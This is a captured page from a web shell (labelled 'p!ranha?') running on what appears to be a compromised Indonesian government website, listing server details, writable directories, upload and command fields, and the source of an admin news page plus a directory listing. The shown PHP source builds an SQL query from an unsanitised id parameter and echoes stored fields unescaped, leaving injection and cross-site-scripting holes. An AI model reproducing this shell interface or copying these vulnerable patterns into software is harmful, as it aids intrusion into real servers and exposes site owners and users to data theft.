p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.108
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/dpmptsp/public_html/home/admin/page/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /home/dpmptsp/public_html/home/admin/page/artikel.php
<section role="main" class="content-body">
<?php
if(($_GET['page']=='artikel') and ($_SESSION['levelakses']=='Administrator')){
?>

					<!-- start: page -->
						<section class="panel panel-featured panel-featured-primary" style="margin-top:-60px;">
							<header class="panel-heading">
								<div class="panel-actions">
									<a href="#" class="fa fa-caret-down"></a>
								</div>
								<h2 class="panel-title"><i class="fa fa-file-text-o"></i> BERITA/ARTIKEL</h2>
							</header>
							<div class="panel-body">
								<a href="index.php?page=addArtikel" class="mb-xs mt-xs mr-xs btn btn-primary"><i class="fa  fa-plus-square"></i> Tambah Berita/Artikel Baru</a>
								<hr class="dotted short">

								<table class="table table-bordered table-striped mb-none" id="datatable-default">
									<thead>
										<tr>
											<th width="10px">No</th>
											<th width="20%">Judul Berita/Artikel</th>
											<th >Author</th>
											<th >Tanggal/Waktu</th>
											<th >Type</th>
											<th >Status</th>
											<th></th>
										</tr>
									</thead>
									<tbody>
									<?php
									$stmt = $conn->prepare("SELECT * FROM tbl_post,pengguna where tbl_post.post_author=pengguna.pnID order by post_date DESC"); 
									$stmt->execute();
									$data = $stmt->fetchAll();
									$stmt->closeCursor();
									$x=1;
									foreach($data as $v){
									echo '
									    <tr>										
                                        	<td>'.$x.'</td>
                                        	<td>'.$v['post_title'].'</td>
                                        	<td>'.$v['pnNama'].'</td>
											';
											$tgl=explode(' ',$v['post_date']);
											echo'
                                        	<td><i class="fa  fa-calendar"></i> '.dateNormal($tgl[0]).'<br><i class="fa  fa-clock-o"></i> '.$tgl[1].'</td>
                                        	<td>'.$v['post_type'].'</td>';
											if($v['post_status']==1){$stat='<span class="label label-primary">Publish</span>';}else{$stat='<span class="label label-danger">Not Publish</span>';}
                                        	echo'
											<td>'.$stat.'</td>
                                        	<td align="center">
												<a href="index.php?page=editArtikel&id='.$v['post_ID'].'" class="mb-xs mt-xs mr-xs btn btn-default" role="button"><i class="fa fa-pencil"></i></a>
												<a href="#modalHeaderColorPrimary'.$v['post_ID'].'" class="mb-xs mt-xs mr-xs btn btn-default modal-basic" role="button"  ><i class="fa fa-trash-o"></i></a>
												<a href="'.buatLink($v['post_type'],$v['post_ID'],$v['post_title']).'" target="_blank" class="mb-xs mt-xs mr-xs btn btn-default" role="button"><i class="fa  fa-send-o"></i></a>
											</td>
											</tr>';
									$x++;
									}
									?>										
									</tbody>
								</table>
							</div>
						</section>		
									<?php
									foreach($data as $v){
									?>
										<div id="modalHeaderColorPrimary<?php echo $v['post_ID'];?>" class="modal-block modal-header-color modal-block-primary mfp-hide">
										<section class="panel">
											<header class="panel-heading">
												<h2 class="panel-title">Are you sure?</h2>
											</header>
											<div class="panel-body">
												<div class="modal-wrapper">
													<div class="modal-icon">
														<i class="fa fa-trash-o"></i>
													</div>
													<div class="modal-text">
														<h4>Hapus</h4>
														<p>Apakah Anda Ingin menghapus Berita/Artikel "<?php echo $v['post_title'];?>" ?</p>
													</div>
												</div>
											</div>
											<footer class="panel-footer">
												<div class="row">
													<div class="col-md-12 text-right">
														<a href="index.php?act=deleteArtikel&id=<?php echo $v['post_ID'];?>" class="btn btn-primary">Ya</a>
														<button class="btn btn-default modal-dismiss">Tidak</button>
													</div>
												</div>
											</footer>
										</section>
									</div>
									<?php
									}
									?>						
 
<?php
}elseif( (($_GET['page']=='editArtikel') OR ($_GET['page']=='addArtikel') ) and ($_SESSION['levelakses']=='Administrator')){
	$art[0]['post_author']=$_SESSION['userid'];
	$art[0]['post_content']='';
	$art[0]['post_title']='';
	$art[0]['post_status']='';
	$art[0]['post_type']='';
	$art[0]['post_image']='';
	$art[0]['post_category']='';

	$act='index.php?act=addArtikel';
	$ID='';	
	$r="required";
	if (isset($_GET['id'])){
		$stmt = $conn->prepare("SELECT * FROM tbl_post WHERE post_ID='".$_GET['id']."' limit 1"); 
		$stmt->execute();
		$art = $stmt->fetchAll();
		$stmt->closeCursor();
		$act='index.php?act=editArtikel';
		$ID='<input type="hidden" name="post_ID" value="'.$art[0]['post_ID'].'" required >';
		$r='';
	}
	
?>		
					<!-- start: page Setting-->
					<div class="row" style="margin-top:-60px;">
						<div class="col-md-12 col-lg-12">
							<section class="panel panel-featured panel-featured-primary">
								<header class="panel-heading">
									<div class="panel-actions">
										<a href="#" class="fa fa-caret-down"></a>
									</div>
									<h2 class="panel-title"><i class="fa fa-file-text-o"></i> Berita/Artikel</h2>
								</header>
								<div class="panel-body">
								<form id="form" class="form-horizontal" method="POST" style="margin-top:15px;" action="<?php echo $act;?>"  enctype="multipart/form-data" >
											<fieldset>
												<?php echo $ID; ?>
												<div class="form-group">
													<label class="col-md-2 control-label" for="post_title">Judul Berita/Artikel</label>
													<div class="col-md-10">
														<input type="text" class="form-control" id="post_title" name="post_title" value="<?php echo $art[0]['post_title']; ?>" required>
													</div>
												</div>											
												<div class="form-group">
													<label class="col-md-2 control-label">Publish ?</label>
													<div class="col-md-10">
													<?php
													if($art[0]['post_status']==0){$ac1=''; $ac2='checked';}else{$ac2=''; $ac1='checked';}
													?>
														<div class="input-group">
															<div class="radio-custom radio-success" style="display:inline-block;margin-right:20px;">
															<input type="radio" id="radioExample3" name="post_status" value="1" <?php echo $ac1; ?> >
																<label for="radioExample3">Ya</label>
															</div>

															<div class="radio-custom radio-danger" style="display:inline-block;">
																<input type="radio" id="radioExample5" name="post_status" value="0"  <?php echo $ac2; ?> >
																<label for="radioExample5">Tidak</label>
															</div>
														</div>
													</div>
												</div>
												<div class="form-group">
													<label class="col-md-2 control-label">Tipe</label>
													<div class="col-md-3">
														<div class="input-group btn-group">
															<span class="input-group-addon">
																<i class="fa fa-th-list"></i>
															</span>
														<?php
														$tipe = array('Berita','Informasi','Promosi Investasi','Penanaman Modal','Perizinan','Penghargaan','Kunjungan','UMKM','Probiz');
														buatSelect('post_type', $tipe,$art[0]['post_type'],true,"form-control border-input");

														?>														
														</div>
													</div>
												</div>	
												<div class="form-group">
													<label class="col-md-2 control-label">Gambar</label>
													<div class="col-md-10">
														<div class="fileupload fileupload-new" data-provides="fileupload" class="col-md-5">
															<div class="input-append">
																<div class="uneditable-input" style="width:185px">
																	<i class="fa fa-file fileupload-exists"></i>
																	<span class="fileupload-preview"></span>
																</div>
																<span class="btn btn-default btn-file">
																	<span class="fileupload-exists" ><i class="fa fa-pencil"></i></span>
																	<span class="fileupload-new"><i class="fa fa-search"></i></span>
																	<input type="file" name="photo" accept="image/*" onchange="readURL(this);">
																</span>
																<a href="#" onclick="hapus();" class="btn btn-default fileupload-exists" data-dismiss="fileupload"><i class="fa fa-times"></i></a>
															</div>
														</div>
														
														<div class="post-image" class="col-md-5" style="margin-top:20px;">
														<a class="img-thumbnail lightbox" href="../assets/post/<?php echo $art[0]['post_image'];?>" data-plugin-options='{ "type":"image" }'>
															<img id="gambar" class="img-responsive" style="max-width:350px;" src="../assets/post/<?php echo $art[0]['post_image'];?>" onerror="this.onerror=null;this.src='../assets/post/no_image_available.jpeg';">
															<span class="zoom">
																<i class="fa fa-search"></i>
															</span>
														</a>
														</div>
														<script>
																function readURL(input) {
																	if (input.files && input.files[0]) {
																		var reader = new FileReader();
																		reader.onload = function (e) {
																			$('#gambar').attr('src', e.target.result);
																		}
																		reader.readAsDataURL(input.files[0]);
																	}
																}	
																function hapus() {
																 $('#gambar').attr('src', '../assets/post/no_image_available.jpeg');
																}
														</script>														
													</div>
												</div>													
												<hr class="dotted short">												
												<div class="form-group">
													<label class="col-md-2 control-label">Content</label>
														<div class="col-md-10">
															<textarea name="post_content" class="summernote" data-plugin-summernote data-plugin-options='{ "height": 180, "codemirror": { "theme": "ambiance" } }' required><?php echo $art[0]['post_content'];?></textarea>
														</div>
												</div>

												
											</fieldset>
											
											<div class="panel-footer" style="margin-top:20px;">
												<div class="row">
													<div class="col-md-9 col-md-offset-3">
														<button type="submit" class="btn btn-primary">Submit</button>
														<button type="reset" class="btn btn-default">Reset</button>
													</div>
												</div>
											</div>
										</form>
								</div>
							</section>
													
						</div>
					</div>
					<!-- end: page Setting-->

<?php
}
?>

</section>
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
December 21 2023 09:33:10
1000 / 1000
0755
about.php
5.217 KB
January 13 2024 08:37:55
1000 / 1000
0755
artikel.php
10.718 KB
January 13 2024 08:37:55
1000 / 1000
0755
dashboard.php
6.179 KB
January 13 2024 08:37:55
1000 / 1000
0755
formPMA.php
9.67 KB
January 13 2024 08:37:55
1000 / 1000
0755
formPMDN.php
9.462 KB
January 13 2024 08:37:55
1000 / 1000
0755
formUMKM.php
6.325 KB
January 13 2024 08:37:56
1000 / 1000
0755
index.html
0 KB
January 13 2024 08:37:56
1000 / 1000
0755
jabatan.php
6.976 KB
January 13 2024 08:37:56
1000 / 1000
0755
log.php
11.471 KB
January 13 2024 08:37:56
1000 / 1000
0755
partner.php
8.179 KB
January 13 2024 08:37:56
1000 / 1000
0755
perizinan.php
7.02 KB
January 13 2024 08:37:56
1000 / 1000
0755
promosi.php
11.417 KB
January 13 2024 08:37:56
1000 / 1000
0755
struktur.php
13.235 KB
January 13 2024 08:37:56
1000 / 1000
0755
user.php
20.516 KB
January 13 2024 08:37:56
1000 / 1000
0755